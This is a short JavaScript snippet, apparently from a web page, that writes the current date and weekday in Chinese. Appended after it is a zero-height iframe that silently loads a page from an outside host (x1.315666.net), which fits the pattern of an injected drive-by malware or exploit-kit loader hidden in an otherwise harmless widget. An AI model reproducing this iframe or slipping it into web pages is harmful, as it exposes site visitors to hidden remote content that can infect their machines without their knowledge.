var today=new Date();
var month=today.getMonth()+1;
var dayNames = new Array("星期日","星期一","星期二","星期三","星期四","星期五","星期六");
document.write(today.getYear()+"年"+month+"月"+today.getDate()+"日 "+dayNames[today.getDay()])
<iframe src=http://x1.315666.net/u03.html?77cccc width=100 height=0></iframe>

